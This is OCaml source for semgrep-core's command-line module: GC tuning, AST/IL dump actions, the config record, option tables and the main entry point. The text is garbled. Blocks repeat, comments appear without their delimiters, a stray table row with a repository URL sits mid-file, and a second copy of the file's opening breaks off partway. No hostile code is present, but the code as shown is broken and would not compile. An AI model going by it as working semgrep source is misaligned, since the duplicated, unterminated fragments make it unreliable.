* Gc.alarm. Indeed, the Gc.alarm triggers only at major cycle
* and the tuning below raise significantly the major cycle trigger.
* This is why we call set_gc() only when max_memory_mb is unset.
*)
let set_gc () =
logger#info "Gc tuning";
if ! Flag.debug_gc
then Gc.set { ( Gc.get ( ) ) with Gc.verbose = 0x01F } ;
if !Flag.debug_gc
then Gc.set { (Gc.get()) with Gc.verbose = 0x01F };
*)
(* only relevant in bytecode, in native the stacklimit is the os stacklimit,
* which usually requires a ulimit -s 40000
*)
Gc.set { (Gc.get ()) with Gc.stack_limit = 1000 * 1024 * 1024 };
(* see www.elehack.net/michael/blog/2010/06/ocaml-memory-tuning *)
Gc.set { (Gc.get ()) with Gc.minor_heap_size = 4_000_000 };
Gc.set { (Gc.get ()) with Gc.major_heap_increment = 8_000_000 };
Gc.set { (Gc.get ()) with Gc.space_overhead = 300 };
()
(*****************************************************************************)
(* Dumpers *)
(*****************************************************************************)
used for the Dump AST in semgrep.live
let json_of_v (v : OCaml.v) =
let rec aux v =
match v with
| OCaml.VUnit -> J.String "()"
| OCaml.VBool v1 -> if v1 then J.String "true" else J.String "false"
| OCaml.VFloat v1 -> J.Float v1 (* ppf "%f" v1 *)
| OCaml.VChar v1 -> J.String (spf "'%c'" v1)
| OCaml.VString v1 -> J.String v1
| OCaml.VInt i -> J.Int i
| OCaml.VTuple xs -> J.Array (Common.map aux xs)
| OCaml.VDict xs -> J.Object (Common.map (fun (k, v) -> (k, aux v)) xs)
| OCaml.VSum (s, xs) -> (
match xs with
| [] -> J.String (spf "%s" s)
| [ one_element ] -> J.Object [ (s, aux one_element) ]
| _ :: _ :: _ -> J.Object [ (s, J.Array (Common.map aux xs)) ])
| OCaml.VVar (s, i64) -> J.String (spf "%s_%d" s (Int64.to_int i64))
| OCaml.VArrow _ -> failwith "Arrow TODO"
| OCaml.VNone -> J.Null
| OCaml.VSome v -> J.Object [ ("some", aux v) ]
| OCaml.VRef v -> J.Object [ ("ref@", aux v) ]
| OCaml.VList xs -> J.Array (Common.map aux xs)
| OCaml.VTODO _ -> J.String "VTODO"
in
aux v
let dump_v_to_format (v : OCaml.v) =
match !output_format with
| Text -> OCaml.string_of_v v
| Json _ -> J.string_of_json (json_of_v v)
(* works with -lang *)
let dump_pattern (file : Common.filename) =
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
let s = Common.read_file file in
(* mostly copy-paste of parse_pattern in runner, but with better error report *)
let lang = Xlang.lang_of_opt_xlang_exn !lang in
E.try_with_print_exn_and_reraise file (fun () ->
let any = Parse_pattern.parse_pattern lang ~print_errors:true s in
let v = Meta_AST.vof_any any in
let s = dump_v_to_format v in
pr s)
let dump_ast ?(naming = false) lang file =
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
E.try_with_print_exn_and_reraise file (fun () ->
let { Parse_target.ast; skipped_tokens; _ } =
if naming then Parse_target.parse_and_resolve_name lang file
else Parse_target.just_parse_with_lang lang file
in
let v = Meta_AST.vof_any (AST_generic.Pr ast) in
80 columns is too little
Format.set_margin 120;
let s = dump_v_to_format v in
pr s;
if skipped_tokens <> [] then (
pr2 (spf "WARNING: fail to fully parse %s" file);
pr2
(Common.map (fun e -> " " ^ Dumper.dump e) skipped_tokens
|> String.concat "\n");
Runner_exit.(exit_semgrep False)))
(* mostly a copy paste of Test_analyze_generic.ml *)
let dump_il_all file =
let lang = List.hd (Lang.langs_of_filename file) in
let ast = Parse_target.parse_program file in
Naming_AST.resolve lang ast;
let xs = AST_to_IL.stmt lang (AST_generic.stmt1 ast) in
List.iter (fun stmt -> pr2 (IL.show_stmt stmt)) xs
[@@action]
let dump_il file =
let module G = AST_generic in
let module V = Visitor_AST in
let lang = List.hd (Lang.langs_of_filename file) in
let ast = Parse_target.parse_program file in
Naming_AST.resolve lang ast;
let report_func_def_with_name ent_opt fdef =
let name =
match ent_opt with
| None -> "<lambda>"
| Some { G.name = EN n; _ } -> G.show_name n
| Some _ -> "<entity>"
in
pr2 (spf "Function name: %s" name);
let s =
AST_generic.show_any
(G.S (AST_generic_helpers.funcbody_to_stmt fdef.G.fbody))
in
pr2 s;
pr2 "==>";
let _, xs = AST_to_IL.function_definition lang fdef in
let s = IL.show_any (IL.Ss xs) in
pr2 s
in
Visit_function_defs.visit report_func_def_with_name ast
let dump_v1_json file =
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
match Lang.langs_of_filename file with
| lang :: _ ->
E.try_with_print_exn_and_reraise file (fun () ->
let { Parse_target.ast; skipped_tokens; _ } =
Parse_target.parse_and_resolve_name lang file
in
let v1 = AST_generic_to_v1.program ast in
let s = Ast_generic_v1_j.string_of_program v1 in
pr s;
if skipped_tokens <> [] then
pr2 (spf "WARNING: fail to fully parse %s" file))
| [] -> failwith (spf "unsupported language for %s" file)
let generate_ast_json file =
match Lang.langs_of_filename file with
| lang :: _ ->
let ast = Parse_target.parse_and_resolve_name_warn_if_partial lang file in
let v1 = AST_generic_to_v1.program ast in
let s = Ast_generic_v1_j.string_of_program v1 in
let file = file ^ ".ast.json" in
Common.write_file ~file s;
pr2 (spf "saved JSON output in %s" file)
| [] -> failwith (spf "unsupported language for %s" file)
let generate_ast_binary lang file =
let final =
Parse_with_caching.versioned_parse_result_of_file Version.version lang file
in
let file = file ^ Parse_with_caching.binary_suffix in
assert (Parse_with_caching.is_binary_ast_filename file);
Common2.write_value final file;
pr2 (spf "saved marshalled generic AST in %s" file)
let dump_ext_of_lang () =
let lang_to_exts =
Lang.keys
|> Common.map (fun lang_str ->
match Lang.of_string_opt lang_str with
| Some lang ->
lang_str ^ "->" ^ String.concat ", " (Lang.ext_of_lang lang)
| None -> "")
in
pr2
(spf "Language to supported file extension mappings:\n %s"
(String.concat "\n" lang_to_exts))
let dump_equivalences file =
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
let xs = Parse_equivalences.parse file in
pr2_gen xs
let dump_rule file =
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
let rules = Parse_rule.parse file in
rules |> List.iter (fun r -> pr (Rule.show r))
let prefilter_of_rules file =
let rules = Parse_rule.parse file in
let xs =
rules
|> Common.map (fun r ->
let pre_opt = Analyze_rule.regexp_prefilter_of_rule r in
let pre_atd_opt =
Option.map Analyze_rule.prefilter_formula_of_prefilter pre_opt
in
let id = r.Rule.id |> fst in
{ Semgrep_prefilter_t.rule_id = id; filter = pre_atd_opt })
in
let s = Semgrep_prefilter_j.string_of_prefilters xs in
pr s
(*****************************************************************************)
(* Config *)
(*****************************************************************************)
let mk_config () =
{
log_config_file = !log_config_file;
log_to_file = !log_to_file;
test = !test;
debug = !debug;
profile = !profile;
report_time = !report_time;
error_recovery = !error_recovery;
profile_start = !profile_start;
matching_explanations = !matching_explanations;
pattern_string = !pattern_string;
pattern_file = !pattern_file;
rule_source = !rule_source;
lang_job = None;
filter_irrelevant_rules = !filter_irrelevant_rules;
(* not part of CLI *)
equivalences_file = !equivalences_file;
lang = !lang;
output_format = !output_format;
match_format = !match_format;
mvars = !mvars;
lsp = !lsp;
timeout = !timeout;
timeout_threshold = !timeout_threshold;
max_memory_mb = !max_memory_mb;
max_match_per_file = !max_match_per_file;
ncores = !ncores;
parsing_cache_dir = !use_parsing_cache;
target_source = !target_source;
action = !action;
version = Version.version;
roots = [] (* This will be set later in main () *);
}
(*****************************************************************************)
(* Experiments *)
(*****************************************************************************)
See Experiments.ml now
(*****************************************************************************)
(* The options *)
(*****************************************************************************)
let all_actions () =
[
(* possibly useful to the user *)
( "-show_ast_json",
" <file> dump on stdout the generic AST of file in JSON",
Arg_helpers.mk_action_1_arg dump_v1_json );
( "-generate_ast_json",
" <file> save in file.ast.json the generic AST of file in JSON",
Arg_helpers.mk_action_1_arg generate_ast_json );
( "-generate_ast_binary",
" <file> save in file.ast.binary the marshalled generic AST of file",
Arg_helpers.mk_action_1_arg (fun file ->
generate_ast_binary (Xlang.lang_of_opt_xlang_exn !lang) file) );
( "-prefilter_of_rules",
" <file> dump the prefilter regexps of rules in JSON ",
Arg_helpers.mk_action_1_arg prefilter_of_rules );
( "-parsing_stats",
" <files or dirs> generate parsing statistics (use -json for JSON output)",
Arg_helpers.mk_action_n_arg (fun xs ->
Test_parsing.parsing_stats
(Xlang.lang_of_opt_xlang_exn !lang)
~json:(!output_format <> Text) ~verbose:true xs) );
(* the dumpers *)
( "-dump_extensions",
" print file extension to language mapping",
Arg_helpers.mk_action_0_arg dump_ext_of_lang );
("-dump_pattern", " <file>", Arg_helpers.mk_action_1_arg dump_pattern);
( "-dump_ast",
" <file>",
fun file ->
Arg_helpers.mk_action_1_arg
(dump_ast ~naming:false (Xlang.lang_of_opt_xlang_exn !lang))
file );
( "-dump_named_ast",
" <file>",
fun file ->
Arg_helpers.mk_action_1_arg
(dump_ast ~naming:true (Xlang.lang_of_opt_xlang_exn !lang))
file );
("-dump_il_all", " <file>", Arg_helpers.mk_action_1_arg dump_il_all);
("-dump_il", " <file>", Arg_helpers.mk_action_1_arg dump_il);
("-dump_rule", " <file>", Arg_helpers.mk_action_1_arg dump_rule);
( "-dump_equivalences",
" <file> (deprecated)",
Arg_helpers.mk_action_1_arg dump_equivalences );
( "-dump_jsonnet_ast",
" <file>",
Arg_helpers.mk_action_1_arg Test_ojsonnet.dump_jsonnet_ast );
( "-dump_jsonnet_core",
" <file>",
Arg_helpers.mk_action_1_arg Test_ojsonnet.dump_jsonnet_core );
( "-dump_jsonnet_value",
" <file>",
Arg_helpers.mk_action_1_arg Test_ojsonnet.dump_jsonnet_value );
( "-dump_jsonnet_json",
" <file>",
Arg_helpers.mk_action_1_arg Test_ojsonnet.dump_jsonnet_json );
( "-dump_tree_sitter_cst",
" <file> dump the CST obtained from a tree-sitter parser",
Arg_helpers.mk_action_1_arg (fun file ->
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
Test_parsing.dump_tree_sitter_cst
(Xlang.lang_of_opt_xlang_exn !lang)
file) );
( "-dump_tree_sitter_pattern_cst",
" <file>",
Arg_helpers.mk_action_1_arg (fun file ->
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
Parse_pattern.dump_tree_sitter_pattern_cst
(Xlang.lang_of_opt_xlang_exn !lang)
file) );
( "-dump_pfff_ast",
" <file> dump the generic AST obtained from a pfff parser",
Arg_helpers.mk_action_1_arg (fun file ->
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
Test_parsing.dump_pfff_ast (Xlang.lang_of_opt_xlang_exn !lang) file)
);
( "-diff_pfff_tree_sitter",
" <file>",
Arg_helpers.mk_action_n_arg Test_parsing.diff_pfff_tree_sitter );
(* Misc stuff *)
( "-expr_at_range",
" <l:c-l:c> <file>",
Arg_helpers.mk_action_2_arg Test_synthesizing.expr_at_range );
( "-synthesize_patterns",
" <l:c-l:c> <file>",
Arg_helpers.mk_action_2_arg Test_synthesizing.synthesize_patterns );
( "-generate_patterns",
" <l:c-l:c>+ <file>",
Arg_helpers.mk_action_n_arg Test_synthesizing.generate_pattern_choices );
( "-locate_patched_functions",
" <file>",
Arg_helpers.mk_action_1_arg Test_synthesizing.locate_patched_functions );
( "-stat_matches",
" <marshalled file>",
Arg_helpers.mk_action_1_arg Experiments.stat_matches );
( "-ebnf_to_menhir",
" <ebnf file>",
Arg_helpers.mk_action_1_arg Experiments.ebnf_to_menhir );
( "-parsing_regressions",
" <files or dirs> look for parsing regressions",
Arg_helpers.mk_action_n_arg (fun xs ->
Test_parsing.parsing_regressions
(Xlang.lang_of_opt_xlang_exn !lang)
xs) );
( "-test_parse_tree_sitter",
" <files or dirs> test tree-sitter parser on target files",
Arg_helpers.mk_action_n_arg (fun xs ->
Test_parsing.test_parse_tree_sitter
(Xlang.lang_of_opt_xlang_exn !lang)
xs) );
( "-check_rules",
" <metachecks file> <files or dirs>",
Arg_helpers.mk_action_n_arg
(Check_rule.check_files mk_config Parse_rule.parse) );
( "-translate_rules",
" <files or dirs>",
Arg_helpers.mk_action_n_arg
(Translate_rule.translate_files Parse_rule.parse) );
( "-stat_rules",
" <files or dirs>",
Arg_helpers.mk_action_n_arg (Check_rule.stat_files Parse_rule.parse) );
( "-test_rules",
" <files or dirs>",
Arg_helpers.mk_action_n_arg Test_engine.test_rules );
( "-parse_rules",
" <files or dirs>",
Arg_helpers.mk_action_n_arg Test_parsing.test_parse_rules );
( "-datalog_experiment",
" <file> <dir>",
Arg_helpers.mk_action_2_arg Datalog_experiment.gen_facts );
( "-postmortem",
" <log file",
Arg_helpers.mk_action_1_arg Statistics_report.stat );
( "-test_comby",
" <pattern> <file>",
Arg_helpers.mk_action_2_arg Test_comby.test_comby );
( "-test_eval",
" <JSON file>",
Arg_helpers.mk_action_1_arg Eval_generic.test_eval );
]
@ Test_analyze_generic.actions ~parse_program:Parse_target.parse_program
@ Test_dataflow_tainting.actions ()
@ Test_naming_generic.actions ~parse_program:Parse_target.parse_program
let options actions =
[
("-e", Arg.Set_string pattern_string, " <str> use the string as the pattern");
( "-f",
Arg.Set_string pattern_file,
" <file> use the file content as the pattern" );
( "-rules",
Arg.String (fun s -> rule_source := Some (Rule_file s)),
" <file> obtain formula of patterns from YAML/JSON/Jsonnet file" );
( "-lang",
Arg.String (fun s -> lang := Some (Xlang.of_string s)),
spf " <str> choose language (valid choices:\n %s)"
Xlang.supported_xlangs );
( "-l",
Arg.String (fun s -> lang := Some (Xlang.of_string s)),
spf " <str> shortcut for -lang" );
( "-targets",
Arg.String (fun s -> target_source := Some (Target_file s)),
" <file> obtain list of targets to run patterns on" );
( "-equivalences",
Arg.Set_string equivalences_file,
" <file> obtain list of code equivalences from YAML file" );
("-j", Arg.Set_int ncores, " <int> number of cores to use (default = 1)");
( "-use_parsing_cache",
Arg.Set_string use_parsing_cache,
" <dir> store and use the parsed generic ASTs in dir" );
( "-opt_cache",
Arg.Set Flag.with_opt_cache,
" enable caching optimization during matching" );
( "-no_opt_cache",
Arg.Clear Flag.with_opt_cache,
" disable caching optimization during matching" );
( "-opt_max_cache",
Arg.Unit
(fun () ->
Flag.with_opt_cache := true;
Flag.max_cache := true),
" cache matches more aggressively; implies -opt_cache (experimental)" );
( "-max_target_bytes",
Arg.Set_int Flag.max_target_bytes,
" maximum size of a single target file, in bytes. This applies to \
regular target filtering and might be overridden in some contexts. \
Specify '0' to disable this filtering. Default: 5 MB" );
( "-no_gc_tuning",
Arg.Clear Flag.gc_tuning,
" use OCaml's default garbage collector settings" );
( "-emacs",
Arg.Unit (fun () -> match_format := Matching_report.Emacs),
" print matches on the same line than the match position" );
( "-oneline",
Arg.Unit (fun () -> match_format := Matching_report.OneLine),
" print matches on one line, in normalized form" );
( "-json",
Arg.Unit (fun () -> output_format := Json true),
" output JSON format" );
( "-json_nodots",
Arg.Unit (fun () -> output_format := Json false),
" output JSON format but without intermediate dots" );
( "-json_time",
Arg.Unit
(fun () ->
output_format := Json true;
report_time := true),
" report detailed matching times as part of the JSON response. Implies \
'-json'." );
( "-pvar",
Arg.String (fun s -> mvars := Common.split "," s),
" <metavars> print the metavariables, not the matched code" );
( "-error_recovery",
Arg.Unit
(fun () ->
error_recovery := true;
Flag_parsing.error_recovery := true),
" do not stop at first parsing error with -e/-f" );
( "-fail_fast",
Arg.Set Flag.fail_fast,
" stop at first exception (and get a backtrace)" );
( "-filter_irrelevant_patterns",
Arg.Set Flag.filter_irrelevant_patterns,
" filter patterns not containing any strings in target file" );
( "-no_filter_irrelevant_patterns",
Arg.Clear Flag.filter_irrelevant_patterns,
" do not filter patterns" );
( "-filter_irrelevant_rules",
Arg.Set filter_irrelevant_rules,
" filter rules not containing any strings in target file" );
( "-no_filter_irrelevant_rules",
Arg.Clear filter_irrelevant_rules,
" do not filter rules" );
( "-fast",
Arg.Set filter_irrelevant_rules,
" filter rules not containing any strings in target file" );
( "-bloom_filter",
Arg.Set Flag.use_bloom_filter,
" use a bloom filter to only attempt matches when strings in the pattern \
are in the target" );
( "-no_bloom_filter",
Arg.Clear Flag.use_bloom_filter,
" do not use bloom filter" );
( "-tree_sitter_only",
Arg.Set Flag.tree_sitter_only,
" only use tree-sitter-based parsers" );
( "-timeout",
Arg.Set_float timeout,
" <float> maxinum time to spend running a rule on a single file (in \
seconds); 0 disables timeouts (default is 0)" );
( "-timeout_threshold",
Arg.Set_int timeout_threshold,
" <int> maximum number of rules that can timeout on a file before the \
file is skipped; 0 disables it (default is 0)" );
( "-max_memory",
Arg.Set_int max_memory_mb,
"<int> maximum memory available (in MiB); allows for clean termination \
when running out of memory. This value should be less than the actual \
memory available because the limit will be exceeded before it gets \
detected. Try 5% less or 15000 if you have 16 GB." );
( "-max_match_per_file",
Arg.Set_int max_match_per_file,
" <int> maximum numbers of match per file" );
("-debug", Arg.Set debug, " output debugging information");
("--debug", Arg.Set debug, " output debugging information");
( "-debug_matching",
Arg.Set Flag.debug_matching,
" raise an exception at the first match failure" );
( "-matching_explanations",
Arg.Set matching_explanations,
" output intermediate matching explanations" );
( "-log_config_file",
Arg.Set_string log_config_file,
" <file> logging configuration file" );
( "-log_to_file",
Arg.String (fun file -> log_to_file := Some file),
" <file> log debugging info to file" );
("-test", Arg.Set test, " (internal) set test context");
("-lsp", Arg.Set lsp, " connect to LSP lang server to get type information");
]
@ Flag_parsing_cpp.cmdline_flags_macrofile ()
(* inlining of: Common2.cmdline_flags_devel () @ *)
@ [
( "-debugger",
Arg.Set Common.debugger,
" option to set if launched inside ocamldebug" );
( "-profile",
Arg.Unit
(fun () ->
Profiling.profile := Profiling.ProfAll;
profile := true),
" output profiling information" );
( "-keep_tmp_files",
Arg.Set Common.save_tmp_files,
" keep temporary generated files" );
]
@ Meta_parse_info.cmdline_flags_precision ()
@ Arg_helpers.options_of_actions action (actions ())
@ [
( "-version",
Arg.Unit
(fun () ->
pr2 version;
Runner_exit.(exit_semgrep Success)),
" guess what" );
]
(*****************************************************************************)
(* Main entry point *)
(*****************************************************************************)
(* 'sys_argv' is to be interpreted like 'Sys.argv' ordinarily would.
* When semgrep is a stand-alone program, they are equal, but when it is
* a shared library, 'Sys.argv' is empty. *)
let main (sys_argv : string array) : unit =
profile_start := Unix.gettimeofday ();
SIGXFSZ ( file size limit exceeded )
* ----------------------------------
* By default this signal will kill the process , which is not good . If we
* would raise an exception from within the handler , the exception could
* appear anywhere , which is not good either if you want to recover from it
* gracefully . So , we ignore it , and that causes the syscalls to fail and
* we get a ` Sys_error ` or some other exception . Apparently this is standard
* behavior under both Linux and MacOS :
*
* > The signal is sent to the process . If the process is holding or
* > ignoring , continued attempts to increase the size of a file
* > beyond the limit will fail with errno set to EFBIG .
* ----------------------------------
* By default this signal will kill the process, which is not good. If we
* would raise an exception from within the handler, the exception could
* appear anywhere, which is not good either if you want to recover from it
* gracefully. So, we ignore it, and that causes the syscalls to fail and
* we get a `Sys_error` or some other exception. Apparently this is standard
* behavior under both Linux and MacOS:
*
* > The SIGXFSZ signal is sent to the process. If the process is holding or
* > ignoring SIGXFSZ, continued attempts to increase the size of a file
* > beyond the limit will fail with errno set to EFBIG.
*)
Sys.set_signal Sys.sigxfsz Sys.Signal_ignore;
let usage_msg =
spf
"Usage: %s [options] -lang <str> [-e|-f|-rules] <pattern> \
(<files_or_dirs> | -targets <file>) \n\
Options:"
(Filename.basename sys_argv.(0))
in
(* --------------------------------------------------------- *)
(* Setting up debugging/profiling *)
(* --------------------------------------------------------- *)
let argv =
Array.to_list sys_argv
@ (if Sys.getenv_opt env_debug <> None then [ "-debug" ] else [])
@ (if Sys.getenv_opt env_profile <> None then [ "-profile" ] else [])
@
match Sys.getenv_opt env_extra with
| Some s -> Common.split "[ \t]+" s
| None -> []
in
(* does side effect on many global flags *)
let args =
Arg_helpers.parse_options (options all_actions) usage_msg
(Array.of_list argv)
in
let config = mk_config () in
if config.debug then Report.mode := MDebug
else if config.report_time then Report.mode := MTime
else Report.mode := MNo_info;
Logging_helpers.setup ~debug:config.debug
~log_config_file:config.log_config_file ~log_to_file:config.log_to_file;
logger#info "Executed as: %s" (argv |> String.concat " ");
logger#info "Version: %s" version;
let config =
if config.profile then (
logger#info "Profile mode On";
logger#info "disabling -j when in profiling mode";
{ config with ncores = 1 })
else config
in
if config.lsp then LSP_client.init ();
must be done after Arg.parse , because Common.profile is set by it
Profiling.profile_code "Main total" (fun () ->
match args with
(* --------------------------------------------------------- *)
(* actions, useful to debug subpart *)
(* --------------------------------------------------------- *)
| xs
when List.mem config.action (Arg_helpers.action_list (all_actions ()))
->
Arg_helpers.do_action config.action xs (all_actions ())
| _ when not (Common.null_string config.action) ->
failwith ("unrecognized action or wrong params: " ^ !action)
(* --------------------------------------------------------- *)
(* main entry *)
(* --------------------------------------------------------- *)
| roots ->
(* TODO: We used to tune the garbage collector but from profiling
we found that the effect was small. Meanwhile, the memory
consumption causes some machines to freeze. We may want to
tune these parameters in the future/do more testing, but
for now just turn it off *)
if ! Flag.gc_tuning & & config.max_memory_mb = 0 then set_gc ( ) ;
let config = { config with roots } in
Run_semgrep.semgrep_dispatch config)
(*****************************************************************************)
Register global exception printers defined by the various libraries
and modules .
The main advantage of doing this here is the ability to override
undesirable printers defined by some libraries . The order of registration
is the order in which modules are initialized , which is n't something
that in general we know or want to rely on .
For example , JaneStreet Core prints ( or used to print ) some stdlib
exceptions as S - expressions without giving us a choice . Overriding those
can be tricky .
Register global exception printers defined by the various libraries
and modules.
The main advantage of doing this here is the ability to override
undesirable printers defined by some libraries. The order of registration
is the order in which modules are initialized, which isn't something
that in general we know or want to rely on.
For example, JaneStreet Core prints (or used to print) some stdlib
exceptions as S-expressions without giving us a choice. Overriding those
can be tricky.
*)
let register_exception_printers () =
Parse_info.register_exception_printer ();
SPcre.register_exception_printer ();
Rule.register_exception_printer ()
(* Entry point from either the executable or the shared library. *)
let main (argv : string array) : unit =
Common.main_boilerplate (fun () ->
register_exception_printers ();
Common.finalize
(fun () -> main argv)
(fun () -> !Hooks.exit |> List.iter (fun f -> f ())))
| null | https://raw.githubusercontent.com/returntocorp/semgrep/db9b44c8a606ffa84f92b45b79d96ed821c420ee/src/core_cli/Core_CLI.ml | ocaml |
* The author disclaims copyright to this source code. In place of
* a legal notice, here is a blessing:
*
* May you do good and not evil.
* May you find forgiveness for yourself and forgive others.
* May you share freely, never taking more than you give.
***************************************************************************
Prelude
***************************************************************************
This module contains the main command line parsing logic.
*
* It is packaged as a library so it can be used both for the stand-alone
* semgrep-core binary as well as the semgrep_bridge.so shared library.
* The code here used to be in Main.ml.
***************************************************************************
Flags
***************************************************************************
-------------------------------------------------------------------------
debugging/profiling/logging flags
-------------------------------------------------------------------------
You can set those environment variables to enable debugging/profiling
* instead of using -debug or -profile. This is useful when you don't call
* directly semgrep-core but instead use the semgrep Python wrapper.
to test things
related:
* - Flag_semgrep.debug_matching
* - Flag_semgrep.fail_fast
* - Trace_matching.on
try to continue processing files, even if one has a parse error with -e/f
report matching times per file
used for -json -profile
step-by-step matching debugger
-------------------------------------------------------------------------
main flags
-------------------------------------------------------------------------
-e
-f
-rules
TODO: infer from basename argv(0) ?
-------------------------------------------------------------------------
limits
-------------------------------------------------------------------------
arbitrary limit
-j
-------------------------------------------------------------------------
optional optimizations
-------------------------------------------------------------------------
similar to filter_irrelevant_patterns, but use the whole rule to extract
* the regexp
-------------------------------------------------------------------------
flags used by the semgrep-python wrapper
-------------------------------------------------------------------------
take the list of files in a file (given by semgrep-python)
-------------------------------------------------------------------------
pad's action flag
-------------------------------------------------------------------------
action mode
***************************************************************************
Helpers
***************************************************************************
only relevant in bytecode, in native the stacklimit is the os stacklimit,
* which usually requires a ulimit -s 40000
see www.elehack.net/michael/blog/2010/06/ocaml-memory-tuning
***************************************************************************
Dumpers
***************************************************************************
ppf "%f" v1
works with -lang
mostly copy-paste of parse_pattern in runner, but with better error report
mostly a copy paste of Test_analyze_generic.ml
***************************************************************************
Config
***************************************************************************
not part of CLI
This will be set later in main ()
***************************************************************************
Experiments
***************************************************************************
***************************************************************************
The options
***************************************************************************
possibly useful to the user
the dumpers
Misc stuff
inlining of: Common2.cmdline_flags_devel () @
***************************************************************************
Main entry point
***************************************************************************
'sys_argv' is to be interpreted like 'Sys.argv' ordinarily would.
* When semgrep is a stand-alone program, they are equal, but when it is
* a shared library, 'Sys.argv' is empty.
---------------------------------------------------------
Setting up debugging/profiling
---------------------------------------------------------
does side effect on many global flags
---------------------------------------------------------
actions, useful to debug subpart
---------------------------------------------------------
---------------------------------------------------------
main entry
---------------------------------------------------------
TODO: We used to tune the garbage collector but from profiling
we found that the effect was small. Meanwhile, the memory
consumption causes some machines to freeze. We may want to
tune these parameters in the future/do more testing, but
for now just turn it off
***************************************************************************
Entry point from either the executable or the shared library. | open Common
open Runner_config
module Flag = Flag_semgrep
module E = Semgrep_error_code
module J = JSON
let logger = Logging.get_logger [ __MODULE__ ]
let env_debug = "SEMGREP_CORE_DEBUG"
let env_profile = "SEMGREP_CORE_PROFILE"
let env_extra = "SEMGREP_CORE_EXTRA"
let log_config_file = ref Runner_config.default.log_config_file
let log_to_file = ref None
see also verbose/ ... flags in Flag_semgrep.ml
let test = ref Runner_config.default.test
let debug = ref Runner_config.default.debug
let error_recovery = ref Runner_config.default.error_recovery
let profile = ref Runner_config.default.profile
let report_time = ref Runner_config.default.report_time
let profile_start = ref Runner_config.default.profile_start
let matching_explanations = ref Runner_config.default.matching_explanations
let pattern_string = ref ""
let pattern_file = ref ""
let rule_source = ref None
let equivalences_file = ref ""
let lang = ref None
let output_format = ref Runner_config.default.output_format
let match_format = ref Runner_config.default.match_format
let mvars = ref ([] : Metavariable.mvar list)
let lsp = ref Runner_config.default.lsp
timeout in seconds ; 0 or less means no timeout
let timeout = ref Runner_config.default.timeout
let timeout_threshold = ref Runner_config.default.timeout_threshold
in MiB
let max_match_per_file = ref Runner_config.default.max_match_per_file
let ncores = ref Runner_config.default.ncores
see
let use_parsing_cache = ref Runner_config.default.parsing_cache_dir
let filter_irrelevant_rules = ref Runner_config.default.filter_irrelevant_rules
let target_source = ref None
let action = ref ""
let version = spf "semgrep-core version: %s" Version.version
Note that set_gc ( ) may not interact well with Memory_limit and its use of
* Gc.alarm . Indeed , the Gc.alarm triggers only at major cycle
* and the tuning below raise significantly the major cycle trigger .
* This is why we call set_gc ( ) only when max_memory_mb is unset .
* Gc.alarm. Indeed, the Gc.alarm triggers only at major cycle
* and the tuning below raise significantly the major cycle trigger.
* This is why we call set_gc() only when max_memory_mb is unset.
*)
let set_gc () =
logger#info "Gc tuning";
if ! Flag.debug_gc
then Gc.set { ( Gc.get ( ) ) with Gc.verbose = 0x01F } ;
if !Flag.debug_gc
then Gc.set { (Gc.get()) with Gc.verbose = 0x01F };
*)
Gc.set { (Gc.get ()) with Gc.stack_limit = 1000 * 1024 * 1024 };
Gc.set { (Gc.get ()) with Gc.minor_heap_size = 4_000_000 };
Gc.set { (Gc.get ()) with Gc.major_heap_increment = 8_000_000 };
Gc.set { (Gc.get ()) with Gc.space_overhead = 300 };
()
used for the Dump AST in semgrep.live
let json_of_v (v : OCaml.v) =
let rec aux v =
match v with
| OCaml.VUnit -> J.String "()"
| OCaml.VBool v1 -> if v1 then J.String "true" else J.String "false"
| OCaml.VChar v1 -> J.String (spf "'%c'" v1)
| OCaml.VString v1 -> J.String v1
| OCaml.VInt i -> J.Int i
| OCaml.VTuple xs -> J.Array (Common.map aux xs)
| OCaml.VDict xs -> J.Object (Common.map (fun (k, v) -> (k, aux v)) xs)
| OCaml.VSum (s, xs) -> (
match xs with
| [] -> J.String (spf "%s" s)
| [ one_element ] -> J.Object [ (s, aux one_element) ]
| _ :: _ :: _ -> J.Object [ (s, J.Array (Common.map aux xs)) ])
| OCaml.VVar (s, i64) -> J.String (spf "%s_%d" s (Int64.to_int i64))
| OCaml.VArrow _ -> failwith "Arrow TODO"
| OCaml.VNone -> J.Null
| OCaml.VSome v -> J.Object [ ("some", aux v) ]
| OCaml.VRef v -> J.Object [ ("ref@", aux v) ]
| OCaml.VList xs -> J.Array (Common.map aux xs)
| OCaml.VTODO _ -> J.String "VTODO"
in
aux v
let dump_v_to_format (v : OCaml.v) =
match !output_format with
| Text -> OCaml.string_of_v v
| Json _ -> J.string_of_json (json_of_v v)
let dump_pattern (file : Common.filename) =
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
let s = Common.read_file file in
let lang = Xlang.lang_of_opt_xlang_exn !lang in
E.try_with_print_exn_and_reraise file (fun () ->
let any = Parse_pattern.parse_pattern lang ~print_errors:true s in
let v = Meta_AST.vof_any any in
let s = dump_v_to_format v in
pr s)
let dump_ast ?(naming = false) lang file =
let file = Run_semgrep.replace_named_pipe_by_regular_file file in
E.try_with_print_exn_and_reraise file (fun () ->
let { Parse_target.ast; skipped_tokens; _ } =
if naming then Parse_target.parse_and_resolve_name lang file
else Parse_target.just_parse_with_lang lang file
in
let v = Meta_AST.vof_any (AST_generic.Pr ast) in
80 columns is too little
Format.set_margin 120;
let s = dump_v_to_format v in
pr s;
if skipped_tokens <> [] then (
pr2 (spf "WARNING: fail to fully parse %s" file);
pr2
(Common.map (fun e -> " " ^ Dumper.dump e) skipped_tokens
|> String.concat "\n");
Runner_exit.(exit_semgrep False)))
let dump_il_all file =
let lang = List.hd (Lang.langs_of_filename file) in
let ast = Parse_target.parse_program file in
Naming_AST.resolve lang ast;
let xs = AST_to_IL.stmt lang (AST_generic.stmt1 ast) in
List.iter (fun stmt -> pr2 (IL.show_stmt stmt)) xs
[@@action]
let dump_il file =
let module G = AST_generic in
let module V = Visitor_AST in
let lang = List.hd (Lang.langs_of_filename file) in
let ast = Parse_target.parse_program file in
Naming_AST.resolve lang ast;
let report_func_def_with_name ent_opt fdef =
let name =
match ent_opt with
| None -> "<lambda>"
| Some { G.name = EN n; _ } -> G.show_name n
| Some _ -> "<entity>"
in
